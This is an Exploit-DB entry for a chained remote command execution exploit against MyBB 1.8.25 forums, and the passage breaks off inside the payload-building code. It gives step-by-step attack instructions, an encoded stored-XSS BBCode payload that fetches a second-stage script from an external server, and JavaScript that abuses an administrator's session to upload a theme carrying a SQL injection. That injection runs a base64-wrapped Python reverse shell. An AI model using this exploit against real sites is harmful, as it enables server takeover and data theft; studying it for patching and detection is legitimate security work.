Exploit-DB #49696
Description: MyBB 1.8.25 - Chained Remote Command Execution
Type: webapps
Platform: php
Date: 2021-03-22
Author: SivertPL

Exploit:
# Exploit Title: MyBB 1.8.25 - Chained Remote Command Execution
# Exploit Author: SivertPL (kroppoloe@protonmail.ch)
# Date: 19.03.2021
# Description: Nested autourl Stored XSS -> templateset second order SQL Injection leading to RCE through improper string interpolation in eval().
# Software Link: https://resources.mybb.com/downloads/mybb_1825.zip
# CVE: CVE-2021-27889, CVE-2021-27890

# Reference: https://portswigger.net/daily-swig/chained-vulnerabilities-used-to-take-control-of-mybb-forums 
# The exploit requires the target administrator to have a valid ACP session.
# Proof of Concept Video: https://www.youtube.com/watch?v=xU1Y9_bgoFQ
# Guide:

1) In order to escape various checks, the XSS has to download this .js file from an external server, and then execute it. 

Please replace the source of the following script node with an URL pointing to the second stage .js file (this file) to be downloaded by the target.

    document.write('<script src=http://localhost:8000/second_stage.js></script>');

2) Please encode the aforementioned JS payload with String.fromCharCode, to achieve constraint-less JavaScript execution environment.

You can use this website: https://eve.gd/2007/05/23/string-fromcharcode-encoder/

3) Put the resulting encoded payload in the nested autourl vulnerability vector:

    [img]http://xyzsomething.com/image?)http://x.com/onerror=<FCC ENCODED PAYLOAD>;//[/img]

4) The final payload should look like this:

    [img]http://xyzsomething.com/image?)http://x.com/onerror=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,58,56,48,48,48,47,119,111,114,109,46,106,115,62,60,47,115,99,114,105,112,116,62,39,41,59));//[/img]

5) Send the full vector to the target, either by private message, a post, or any other place where MyCode (BBCode) is supported.
Once the target's browser renders the page, the XSS vulnerability will fire and download & execute the second stage payload from the website specified above, using document.write() to 'bypass' SOP.

After the execution of the payload, you should receive a reverse shell, provided the admin has a valid ACP session.

6) Enjoy your RCE! For educational purposes only. 


const REVERSE_SHELL_IP = "localhost";
const REVERSE_SHELL_PORT = 5554;

const PAYLOAD_XML_NAME = "payload";
const PAYLOAD_XML_VERSION = "1821";

const XML_PROLOG = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>";

const SHELL_PAYLOAD = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + REVERSE_SHELL_IP + "\"," + REVERSE_SHELL_PORT + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
const SQL_PAYLOAD = "') AND 1=0 UNION SELECT title, '${passthru(base64_decode(\\'" + btoa(SHELL_PAYLOAD) + "\\'))}' from mybb_templates -- ";


// Trigger the actual vulnerability, force cache reload.
// Stage: Final
function trigger() {
    var request = new XMLHttpRequest();

    request.open('GET', '/index.php');
    request.send();
}


// Poison the cache.
// Stage: 6
function set_as_default(token, tid) {

    var request = new XMLHttpRequest();

    request.open('GET', '/admin/index.php?module=style-themes&action=set_default&tid=' + tid + '&my_post_key=' + token);

    request.onload = function() { trigger(); };

    request.send();
}

// Get the TID of the downloaded theme payload
// Stage: 5
function get_payload_tid(token) {
    var request = new XMLHttpRequest();

    request.open('GET', '/admin/index.php?module=style-themes');

    request.responseType = "document";

    request.onload = function() { 
        
        var response = request.response;

        var aTags = response.getElementsByTagName("a");
        var searchText = "payload";
        var found;

        for (var i = 0; i < aTags.length; i++) {
            if (aTags[i].textContent == searchText) {
                found = aTags[i];
                break;
            }
        }

        var href = found.getAttribute("href");

        var urlParams = new URLSearchParams(href);

        var tid = urlParams.get("tid");
    

        set_as_default(token, tid); 
    };

    request.send();

}


// We pass the actual request to upload the template exploiting the second link of the exploit chain
// Stage: 4
function upload_template(token) {

    var request = new XMLHttpRequest();

    request.open('POST', '/admin/index.php?module=style-themes&action=import');

    var data = new FormData();

    data.append('my_post_key', token);
    data.append('local_file', build_payload(), PAYLOAD_XML_NAME + ".xml");
    data.append('import', 0);
    data.append('url', '');
    data.append('tid', '1');
    data.append('name', "payload");
    data.append("version_compat", 1);
    data.append("import_stylesheets", 1);
    data.append("import_templates", 1);

    request.onload = function() { 
        // After uploading the template, set it as default to poison the cache
        get_payload_tid(token)
    };


    request.send(data);
}


// Build the rogue XML Template exploiting SQL Injection leading to RCE through PHP evaluation.
// Stage: 3
function build_payload() {
    var xmlDom = document.implementation.createDocument("", "", null);
    
    var theme = xmlDom.createElement("theme");
    theme.setAttribute("name", PAYLOAD_XML_NAME);
    theme.setAttribute("version", PAYLOAD_XML_VERSION);

    var properties = xmlDom.createElement("properties");
    theme.appendChild(properties);

    var template_set = xmlDom.createElement("templateset");
    template_set.innerHTML = SQL_PAYLOAD;
    properties.appendChild(template_set);

    xmlDom.appendChild(theme);

    var serialized = new XMLSerializer().serializeToString(xmlDom);